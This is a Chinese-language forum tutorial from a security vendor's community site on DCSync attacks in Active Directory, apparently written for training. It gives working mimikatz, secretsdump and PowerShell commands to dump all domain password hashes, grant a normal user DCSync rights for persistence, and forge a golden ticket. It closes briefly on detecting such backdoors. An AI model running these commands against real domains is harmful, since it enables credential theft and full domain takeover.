什么是DCSync
  

深信服认证 20141

{{ttag.title}}
本帖最后由 深信服认证 于 2022-10-28 14:06 编辑

什么是DCSync
在域环境中,域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时,会向其发送一个 GetNCChanges 请求,该请求包含了需要同步的数据,如果获取的数据较多,则会进行循环请求。

DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。使用DCSync就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash。
利用条件

获得以下任一用户的权限:
  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户


默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。

利用 DCSync 导出域内哈希
mimikatz
导出administrator用户的Hash
privilege::debuglsadump::dcsync /domain:god.org /user:administrator


导出域内所有用户的hash
lsadump::dcsync /domain:god.org /all


Secretsdump.py

Secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。

导出administrator用户的Hash
proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator


获取所有域用户哈希, 包括机器用户
proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21


powershell
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能
导出域内所有用户的hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize


导出域内administrator帐户的hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize


利用DCSync在域内维持权限
利用条件:
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户


利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)


添加ACE:
向mary用户添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity mary -Rights DCSync -Verbose
!

导出哈希:
通过secretsdump导出域管账号hash
proxychains python3 secretsdump.py 'god/mary:admin!@#45'@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator


通过mimikatz导出所有账号hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:god.org /all /csv" exit


使用runas实现登录mary再使用DCSync
runas /noprofile /user:god\mary cmd


查询具有 DCSync 权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute


利用 DCSync 制作黄金票据
使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:
lsadump::dcsync /domain:god.org /user:krbtgt


通过 krbtgt 账户的哈希生成黄金票据
kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:Administrator.kiribi


当前访问域控资源,是被拒绝的


进行票据传递
kerberos::ptt Administrator.kiribi


再次访问域控资源


自动化检测DCSync后门的方法
具有高权限但不在高权限组的用户被称之为Shadow Admin,例如域用户mary,仅通过查询高权限组的成员无法发现域内的Shadow Admin
可使用ACLight工具枚举Active Directory中所有用户的ACL,标记出特权帐户。

本期作者李忻蔚:深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。

打赏鼓励作者,期待更多好文!

打赏
46人已打赏

发表新帖
热门标签
全部标签>
西北区每日一问
技术盲盒
【 社区to talk】
安全效果
干货满满
技术笔记
每日一问
信服课堂视频
GIF动图学习
新版本体验
技术咨询
2023技术争霸赛专题
功能体验
产品连连看
安装部署配置
通用技术
秒懂零信任
技术晨报
自助服务平台操作指引
原创分享
标准化排查
排障笔记本
玩转零信任
排障那些事
SDP百科
深信服技术支持平台
畅聊IT
答题自测
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
安全攻防
上网策略
测试报告
日志审计
问题分析处理
流量管理
每日一记
运维工具
云计算知识
用户认证
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
加速技术
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
社区帮助指南
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选
2024年技术争霸赛
北京区每日一练
场景专题
故障笔记
高手请过招
升级&主动服务
高频问题集锦
社区新周刊
POC测试案例
全能先锋系列
云化安全能力

本版版主

90
268
0

发帖

粉丝

关注

本版达人